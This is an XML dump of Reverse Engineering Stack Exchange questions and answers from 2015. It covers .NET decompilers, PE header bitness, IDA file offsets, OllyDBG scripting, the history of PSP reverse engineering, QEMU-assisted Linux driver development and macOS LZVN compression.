  <row Id="8216" PostTypeId="2" ParentId="8215" CreationDate="2015-02-12T13:50:04.923" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I wonder if total decompilation of arbitrary non packed project .NET&#xA;  is possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tools like &lt;a href=&quot;http://ilspy.net/&quot; rel=&quot;nofollow&quot;&gt;ILSpy&lt;/a&gt; do a great job with decompilation of arbitrary non-packed .NET binaries.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If yes, is there tools that can automate this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/icsharpcode/ILSpy&quot; rel=&quot;nofollow&quot;&gt;ILSpy is open-source&lt;/a&gt;, so you can write your own code to automate the decompilation process.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-02-12T13:50:04.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8217" PostTypeId="1" CreationDate="2015-02-12T14:42:01.803" Score="3" ViewCount="780" Body="&lt;p&gt;I found several ways to define the bitness of PE.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;IMAGE_FILE_HEADER&lt;/code&gt; contains the/a (how do you choose an article type in such place?) field &lt;code&gt;Characteristics&lt;/code&gt; that could be checked for &lt;code&gt;IMAGE_FILE_32BIT_MACHINE&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt; contains the field &lt;code&gt;Magic&lt;/code&gt; switched between &lt;code&gt;IMAGE_NT_OPTIONAL_HDR32_MAGIC&lt;/code&gt;, &lt;code&gt;IMAGE_NT_OPTIONAL_HDR64_MAGIC&lt;/code&gt; and some &lt;code&gt;IMAGE_ROM_OPTIONAL_HDR_MAGIC&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;s&gt;&lt;code&gt;IMAGE_FILE_HEADER&lt;/code&gt; also contains Machine field that could be checked for &#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x8664 - x64&lt;/li&gt;&#xA;&lt;li&gt;0xaa64 - ARMv8 in 64-bit mode&lt;/li&gt;&#xA;&lt;li&gt;0x0200 - Intel Itanium processor family&lt;/li&gt;&#xA;&lt;li&gt;0x0284 - 64-bit Alpha AXP.&lt;/s&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;s&gt;Also &lt;code&gt;SizeOfOptionalHeader&lt;/code&gt; in &lt;code&gt;IMAGE_FILE_HEADER&lt;/code&gt; could be checked for one of two specific values.&lt;/s&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are all of them have the same meaning? Are there any difference, specific conditions, exceptional cases?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I found that &lt;code&gt;Machine&lt;/code&gt; field check is indirect way because the field is aimed to processor architecture defining. So it's indirect and unreliable as heuristic.&#xA;&lt;code&gt;SizeOfOptionalHeader&lt;/code&gt; varies even for the same bitness since some image directories can absent.&lt;/p&gt;&#xA;" OwnerUserId="11737" LastEditorUserId="11737" LastEditDate="2015-02-13T17:00:13.073" LastActivityDate="2015-02-15T04:19:51.187" Title="Ways to define portable executable bitness 64 vs 32" Tags="|windows|pe|executable|binary|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8218" PostTypeId="2" ParentId="8215" CreationDate="2015-02-12T14:51:33.287" Score="2" Body="&lt;p&gt;Have you tried tools like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For C#/VB &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;.NET Reflector -&#xA;&lt;a href=&quot;http://www.red-gate.com/products/dotnet-development/reflector/&quot; rel=&quot;nofollow&quot;&gt;http://www.red-gate.com/products/dotnet-development/reflector/&lt;/a&gt; &lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;JustDecompile - &lt;a href=&quot;http://www.telerik.com/products/decompiler.aspx&quot; rel=&quot;nofollow&quot;&gt;http://www.telerik.com/products/decompiler.aspx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9867" LastActivityDate="2015-02-12T14:51:33.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8219" PostTypeId="1" CreationDate="2015-02-12T14:56:28.250" Score="5" ViewCount="6950" Body="&lt;p&gt;I'm using IDA Pro to disassemble/modify a PE file. How can I get the file offset in the '.exe' where a specific data/instruction resides. Or how can I get the file offset which is the source of a virtual address?&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2019-02-21T11:24:26.210" Title="IDA - How to transform VA to FO?" Tags="|ida|offset|address|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8220" PostTypeId="2" ParentId="8215" CreationDate="2015-02-12T15:17:15.880" Score="14" Body="&lt;p&gt;&lt;a href=&quot;https://www.jetbrains.com/decompiler/&quot; rel=&quot;noreferrer&quot;&gt;JetBrains dotPeek&lt;/a&gt; is a free decompiler that has the option of decompiling whole assemblies into VS projects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6wF6D.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/abEvK.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3615" LastActivityDate="2015-02-12T15:17:15.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8221" PostTypeId="1" CreationDate="2015-02-12T16:01:00.387" Score="0" ViewCount="518" Body="&lt;p&gt;&lt;strong&gt;Suppose I was to search a file for dangerous C functions:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that we can perform a dissassembly, and that we cannot perform dynamic analysis is it possible to definitively identify a lack of bounds checking for a given buffer in a scriptable way? One reason why this may not be obvious is that jumps near the functions in question may optimized into positions which at first glance are not related to the original function. I also imagine that bounds checks may look different in compiler generated, programmer generated, and optimized forms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ultimate goal is to search the binary for exploitable functions, while reducing the need to hand check each function, or run noisy dynamic analysis tools. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine this may come into play: &lt;a href=&quot;http://en.wikipedia.org/wiki/Bounds-checking_elimination#In_natively_compiled_languages&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Bounds-checking_elimination#In_natively_compiled_languages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Way I See the Problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I would very much like to be able to verify this with a small python, or BASH script, I can see how this might be very complex. To fully verify that a function is bounds checked, or not, you might need to trace where its inputs are coming from up to their initial source, and insure that there are not any execution paths which circumvent the check. In that case, I imagine that the script in question would have to map the entire flow of execution of the whole program for this work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think my best hope is a way to search an IDA Pro database for this kind of relationship. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2015-03-21T09:37:23.573" Title="Is it possible to programmatically search a disassembly for functions missing bounds checks?" Tags="|c|static-analysis|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8222" PostTypeId="2" ParentId="8215" CreationDate="2015-02-12T16:08:01.393" Score="5" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: dnSpy is now my go to tool for .net decompiling. It's open-source, it exports to Visual Studio projects and the debugger works like a charm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/0xd4d/dnSpy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original answer&lt;/strong&gt;: Telerik JustDecompile also can export to Visual Studio projects. I used it recently and it worked with very minor modifications to the code. It's a free tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.telerik.com/products/decompiler.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.telerik.com/products/decompiler.aspx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2019-10-08T12:35:08.310" LastActivityDate="2019-10-08T12:35:08.310" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="8224" PostTypeId="2" ParentId="8219" CreationDate="2015-02-12T16:22:09.483" Score="9" Body="&lt;p&gt;At the bottom left of the IDA View, you'll see the location of the cursor, as file offset (red) as well as virtual location (blue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Underlines by me, not by Ida).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bEuyi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-02-12T20:54:42.210" LastActivityDate="2015-02-12T20:54:42.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8225" PostTypeId="2" ParentId="8212" CreationDate="2015-02-12T17:18:17.213" Score="1" Body="&lt;p&gt;&lt;strong&gt;To answer the question, how did reverse engineers hack the psp?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://hackaday.com/2011/03/13/reverse-engineering-the-psp/&quot; rel=&quot;nofollow&quot;&gt;http://hackaday.com/2011/03/13/reverse-engineering-the-psp/&lt;/a&gt;&#xA;&lt;a href=&quot;http://sec.pn.to/pw/?plugin=attach&amp;amp;pcmd=open&amp;amp;file=tapping.jpg&amp;amp;refer=Bases&quot; rel=&quot;nofollow&quot;&gt;http://sec.pn.to/pw/?plugin=attach&amp;amp;pcmd=open&amp;amp;file=tapping.jpg&amp;amp;refer=Bases&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First the reverse engineer rips the machine apart, and checks all of its components. Then he finds points of interaction. Perhaps the machine has a debugger port, like a JTAG. From there, the engineer attempts to circumvent any security which prevents him from dumping the firmware image. For this stage, researching the exact functionality of each hardware component is critical. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the link I gave above, the engineer figures out how the NAND chips communicate by guessing various pin configurations. He then uses that knowledge to overwrite parts of memory, and observe the boot up process. Once you understand how the device's operating system boots, it is often possible to overwrite security protections which are selected during boot. Essentially force the device to boot into developer mode, where it may allow you to view sensitive information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually the firmware image wont have source files. It will be a binary dump, which the reverse engineer may disassemble for further analysis. If you are lucky you will be able to dump a the entire file system, or the kernal the device is running. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the reverse engineer is possession of the firmware image, if it is the goal to recreate their own firmware, they may begin writing it based on the firmware image: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/uofw/uofw&quot; rel=&quot;nofollow&quot;&gt;https://github.com/uofw/uofw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you are interested in reverse engineering sony products:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sony's game consoles are kind of unique in terms of computers. They are usually not set up like a typical x86 computer. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You should learn Sony's proprietary architectures. PSP uses MIPS architecture, which is thankfully, very common. However sony is &lt;em&gt;very&lt;/em&gt; fond of making up its own CPU architectures. the PS3 runs on the notoriously complex &quot;Cell&quot; architecture (6 core!) for instance. &lt;a href=&quot;http://www.gamefaqs.com/boards/620272-playstation-vita/64995907&quot; rel=&quot;nofollow&quot;&gt;http://www.gamefaqs.com/boards/620272-playstation-vita/64995907&lt;/a&gt; gives the basics. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Read up on the various play station hacking sites: &lt;a href=&quot;http://www.ps3hax.net/forum.php&quot; rel=&quot;nofollow&quot;&gt;http://www.ps3hax.net/forum.php&lt;/a&gt; (beware, invasive ads) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Read up on how famed hacker George Hotz hacked the PS3 &lt;a href=&quot;http://rdist.root.org/2010/01/27/how-the-ps3-hypervisor-was-hacked/&quot; rel=&quot;nofollow&quot;&gt;http://rdist.root.org/2010/01/27/how-the-ps3-hypervisor-was-hacked/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;check out this paper on forensics on the device - &lt;a href=&quot;http://link.springer.com/chapter/10.1007%2F978-3-642-04155-6_9&quot; rel=&quot;nofollow&quot;&gt;http://link.springer.com/chapter/10.1007%2F978-3-642-04155-6_9&lt;/a&gt; - forensic analysists often have to work at a very low level, so this paper could help you understand the software/operating system of the device. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="2149" LastEditDate="2015-02-12T23:07:58.020" LastActivityDate="2015-02-12T23:07:58.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8226" PostTypeId="2" ParentId="3038" CreationDate="2015-02-12T17:57:09.113" Score="2" Body="&lt;p&gt;This cannot be done with either IDA C or IDA Python. There is no API function to rename a register. Check the docs: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2015-02-12T17:57:09.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8227" PostTypeId="2" ParentId="8209" CreationDate="2015-02-12T20:15:06.010" Score="3" Body="&lt;p&gt;according to &lt;a href=&quot;http://hints.macworld.com/article.php?story=20090902223042255&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;, you can use &lt;a href=&quot;http://www.unix.com/man-page/osx/1/afscexpand/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;afscexpand&lt;/code&gt; tool&lt;/a&gt; to decompress such files.if you prefer the hard way, &lt;a href=&quot;http://www.opensource.apple.com/source/xnu/xnu-1456.1.26/bsd/kern/decmpfs.c&quot; rel=&quot;nofollow&quot;&gt;xnu source code&lt;/a&gt; may be of help.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-02-12T20:15:06.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8228" PostTypeId="2" ParentId="8217" CreationDate="2015-02-12T21:22:51.723" Score="3" Body="&lt;p&gt;&lt;code&gt;IMAGE_OPTIONAL_HEADER-&amp;gt;MAGIC&lt;/code&gt; (which is not optional at all :] ) is what determines for the Windows OS Loader to load this as 32bit vs 64bit. Depending on the value at &lt;code&gt;IMAGE_OPTIONAL_HEADER-&amp;gt;MAGIC&lt;/code&gt; is how the loader will parse the rest of the &lt;code&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as stated &lt;code&gt;SizeOfOptionalHeader&lt;/code&gt; can be use as a cross reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IMAGE_FILE_HEADER-&gt;MAGIC is used to determine the intended CPU. Mainly use to determine how machine code should be interpret. &lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2015-02-12T21:22:51.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8229" PostTypeId="2" ParentId="8212" CreationDate="2015-02-12T21:40:40.913" Score="1" Body="&lt;p&gt;I don't know the whole story but AFAIK the initial release of PSP did not use encryption or code signing, so a skilled person was able to make custom code run based off a game. This was used to explore and document the system and develop a customSDK.  later firmware updates did implement encryption, but by this time hackers were able to debug code, so they could analyse the firmware update and extract the keys from it. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-02-12T21:40:40.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8230" PostTypeId="1" CreationDate="2015-02-12T22:03:17.880" Score="4" ViewCount="882" Body="&lt;p&gt;I am debugging an app in OllyDBG. I want to create a script or automation. I set a breakpoint on a certain address and goto its stack arguments. There are four stack arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the address of the 2nd argument and the size from the 4th argument and dump the HEX data in a log file. For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I set a breakpoint at &lt;code&gt;0x512A12&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I see the following in stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00192003   005DB123  RETURN to program.005DB123 from program.00512A12&#xA;00192011   0018F058 - 1st argument&#xA;00192028   03F48D78 - 2nd argument&#xA;00192032   03F48D78 - 3rd argument&#xA;00192036   00000500 - 4th argument&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;So, I dump the data from address starting at &lt;code&gt;0x00192028   03F48D78 - 2nd argument&lt;/code&gt;. Which is &lt;code&gt;0x03F48D78&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;I use the size from the 4th argument - &lt;code&gt;00192036   00000500 - 4th argument&lt;/code&gt;. Which is &lt;code&gt;500&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Then, the data is saved in a log file. It is hex data from the dump section in Olly. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, I want to loop this function and automate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this automation on Ollyscript or on something else created ?&lt;/p&gt;&#xA;" OwnerUserId="4106" LastEditorUserId="53" LastEditDate="2015-02-12T22:39:04.850" LastActivityDate="2016-07-12T01:48:05.080" Title="How to automate task in OllyDBG ? Using Ollyscript or any other tool" Tags="|ollydbg|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8231" PostTypeId="1" AcceptedAnswerId="8232" CreationDate="2015-02-12T23:57:04.383" Score="2" ViewCount="1718" Body="&lt;p&gt;Presently, I am trying to analyze a piece of hardware, to be specific the Broadcom 1570 PCI web cam inside a late MBPr 2013.  I can pass through the device using QEMU, and have the gusest OS / VM detect the web cam, and I tested it out using FaceTime, and it appears to be working.  However, there currently isn't a Linux driver for this device.  I am aware of one being developed, and there is a project page on Github for the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some &quot;attack vectors&quot; or possibilities of using qemu to aid in the development of a Linux driver for this device?  My knowledge with QEMU is limited, but I have successfully set up several VM's on my host Linux machince (MBPr), and I am eager to learn.  Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2015-02-13T10:48:30.447" Title="How could using QEMU be useful in developing a driver for Linux?" Tags="|osx|qemu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8232" PostTypeId="2" ParentId="8231" CreationDate="2015-02-13T10:48:30.447" Score="3" Body="&lt;p&gt;To develop a driver, there's basically 3 steps you have to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Learn about Linux driver programming in general. This is independent of your specifi hardware, and involves things like &quot;How do i convert virtual memory addresses to physical and back? How do i read bytes / write bytes to hardware registers? How do i yield the CPU while waiting for the hardware to set a bit? If the device is interrupt-driven, how to i &quot;stop&quot; execution of the driver when it has written a command to the device, and how to i &quot;restart&quot; it when the device uses an interrupt to tell me the command has finished/data is ready for me to process?&lt;/li&gt;&#xA;&lt;li&gt;Learn how the hardware works. How many and which registers does it have, what's the meaning of the individual bits of those registers, what do i have to write to which register to configure the hardware, how (in the case of a web cam) do i read a pixel from the hardware, and how do i set up a DMA transfer of a whole image to memory?&lt;/li&gt;&#xA;&lt;li&gt;Apply the knowledge of 1) and 2) to your hardware, write a driver, and debug it if it doesn't work as it should. If your user level software tells the driver to configure the Webcam to 1024x768 pixels, does the driver write the correct data to the correct registers? Does it obey any timing the device imposes, or does it set your registers too fast sometimes?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;While 1) ist just a lot of reading and understanding documentation, an emulator might be able to help with 2), and certainly with 3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Learn how the hardware works&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're lucky, you can do 2) looking at vendor's datasheets. In your case, it seems like the vendor (Broadcom) hasn't published anything, so the only way to find out is looking at what an existing driver does. This is where an emulator &lt;strong&gt;that allows logging of certain actions&lt;/strong&gt; might come handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're running MacOS under Qemu under Linux, and the MacOS driver accesses the webcam hardware, then it doesn't really access the hardware. Every hardware access goes to Qemu, which will intercept the access and route it to the real hardware. Each of these actions can be logged. Now, you can fire up some software in your MacOS, and, for example, tell it to set the resolution to 1024x768 pixels. This might result in a QEMU log like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Write the value 01 to the memory address 1234500&#xA;Read memory address 1234501 and get 0x80&#xA;Read memory address 1234501 and get 0x80&#xA;Read memory address 1234501 and get 0x80&#xA;Read memory address 1234501 and get 0x00&#xA;Write the value 00 to the memory address 1234502&#xA;Write the value 04 to the memory address 1234503&#xA;Read memory address 1234501 and get 0x80&#xA;Read memory address 1234501 and get 0x00&#xA;Write the value 02 to the memory address 1234500&#xA;Read memory address 1234501 and get 0x80&#xA;Read memory address 1234501 and get 0x80&#xA;Read memory address 1234501 and get 0x80&#xA;Read memory address 1234501 and get 0x80&#xA;Read memory address 1234501 and get 0x00&#xA;Write the value 00 to the memory address 1234502&#xA;Write the value 03 to the memory address 1234503&#xA;Read memory address 1234501 and get 0x80&#xA;Read memory address 1234501 and get 0x00&#xA;Write the value 00 to the memory address 1234500&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this tell us?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, your resolution values - 1024x768 - are 0400 and 0300 in hex. This corresponds to the bytes that are written to 1234502 and 1234503. So, these seem to be the registers that set the resolution. But unfortunately, the &lt;em&gt;same&lt;/em&gt; registers seem to be used for width and height. This probably means that the byte written to 1234500 is a selector - writing a 1 there turns the other 2 registers into &quot;height&quot; mode, writing a 2 turns them into &quot;width&quot; mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what about the repeated reading of 1234501?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time, after something is written to the device, bit 7 (0x80) of that register seems to be set, and the driver keeps reading it until it's clear; then proceeds to write some more. So it seems that bit is a &quot;hardware ready&quot; bit, meaning the hardware is processing your previous commands, and not able to accept further commands. Once everything is processed, the bit gets cleared, and the driver is allowed to write some more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, all of this would be much easier if you had documentation of the actual hardware. But, documentation of &lt;em&gt;similar&lt;/em&gt; hardware might still help. Assume there was a different chip, the Broadcom 1571, which had a USB interface. And assume the documentation of that stated &quot;To set the resolution to 1024x768, you'll have to send the bytes &lt;code&gt;0x01 0x00 0x04 0x02 0x00 0x03 0x00&lt;/code&gt; over USB&quot;. You'd see that the byte sequence is the same, but the timing stuff is probably handled by the USB controller of the 1571 Chip. So you could easily translate the instruction &quot;To turn on the LED, send &lt;code&gt;0x04 0x01 0x00&lt;/code&gt;, to turn it off send &lt;code&gt;0x04 0x00 0x00&lt;/code&gt;&quot; to the corresponding PCI register sequence, and verify using your QEMU log whether or not the driver does the same thing when you turn the LED on/off from your emulated software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Develop the driver&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have enough information about the hardware, you can start writing the linux driver. At this point, an emulator can help you in the same way as when you were tracing the other driver - running Linux with your driver in an emulator helps you debugging the code in just the same way as when you were tracing the original driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can use the emulator to prevent lots of crashes. Your driver might have some bugs that cause it to write bad data to bad addresses, and you certainly want to prevent it from sending a low level format command to the PCI/SATA adapter. You can for example, use QEMU to pass through only a specific range of PCI registers to the actual hardware. Or, if your device documentation states &quot;Writing 0x01 to Register 7 sets a signal to ground, writing 0x02 sets it to +5V. Never set both bits at once, this will create a short circuit and fry your device within seconds&quot;, you could put an appropriate safeguard into the emulator to prevent this in case of a driver gone wild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can Qemu actually do what has been described?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably not the vanilla version. There's no reference to PCI register logging in the qemu description. But, it seems that &lt;a href=&quot;https://github.com/koradlow/v4l2-rds-ctl/tree/master/contrib/pci_traffic&quot; rel=&quot;nofollow&quot;&gt;there is a project on github to add this kind of logging to qemu&lt;/a&gt;. This project hasn't been updated in 4 years, which could mean it still works as intended (and there has never been a reason to update it), or the maintainer lost interest and it doesn't work at all anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the other uses described are just too specific to be easily configurable, so you'll probably need to hack qemu itself to implement them. But hey, that's what qemu is open source for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is already a project to develop drivers for your camera, chances are the maintainers of that project have done exactly that. I'd contact them for more information.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-02-13T10:48:30.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8233" PostTypeId="2" ParentId="8209" CreationDate="2015-02-13T11:14:21.320" Score="5" Body="&lt;p&gt;OK... it seems to be LZVN compression. Following on from Igor's suggestions I ran &lt;code&gt;kextstat&lt;/code&gt; on my Mac, however that only listed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;com.apple.AppleFSCompression.AppleFSCompressionTypeZlib&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;com.apple.AppleFSCompression.AppleFSCompressionTypeDataless&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Looking at the strings inside the 'dataless' compression it turned out to be type 5: &lt;a href=&quot;https://github.com/dimones/Clevo-W370ET-Mavericks/blob/master/Extensions/AppleFSCompressionTypeDataless.kext/Contents/Info.plist#L53&quot; rel=&quot;nofollow&quot;&gt;AppleFSCompressionTypeDataless.kext&lt;/a&gt;. Searching for the same string with type 8, I found this log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN  &amp;lt;class com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN, id 0x10000025d, !registered, !matched, active, busy 0, retain 4&amp;gt;&#xA;      |   {&#xA;      |     &quot;IOProbeScore&quot; = 0x0&#xA;      |     &quot;CFBundleIdentifier&quot; = &quot;com.apple.AppleFSCompression.AppleFSCompressionTypeLZVN&quot;&#xA;      |     &quot;IOMatchCategory&quot; = &quot;com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN&quot;&#xA;      |     &quot;IOClass&quot; = &quot;com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN&quot;&#xA;      |     &quot;IOProviderClass&quot; = &quot;IOResources&quot;&#xA;      |     &quot;com.apple.AppleFSCompression.providesType10&quot; = Yes&#xA;      |     &quot;com.apple.AppleFSCompression.providesType9&quot; = Yes&#xA;      |     &quot;com.apple.AppleFSCompression.providesType8&quot; = Yes&#xA;      |     &quot;IOResourceMatch&quot; = &quot;IOBSD&quot;&#xA;      |     &quot;com.apple.AppleFSCompression.providesType7&quot; = Yes&#xA;      |   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which seems to be something the Chameleon guys already worked out: &lt;a href=&quot;http://forge.voodooprojects.org/p/chameleon/source/tree/HEAD/trunk/CHANGES#L27&quot; rel=&quot;nofollow&quot;&gt;trunk/CHANGES&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Apple has just released an open source implementation: &lt;a href=&quot;https://github.com/lzfse/lzfse&quot; rel=&quot;nofollow&quot;&gt;https://github.com/lzfse/lzfse&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3294" LastEditorUserId="3294" LastEditDate="2016-06-18T06:24:18.917" LastActivityDate="2016-06-18T06:24:18.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
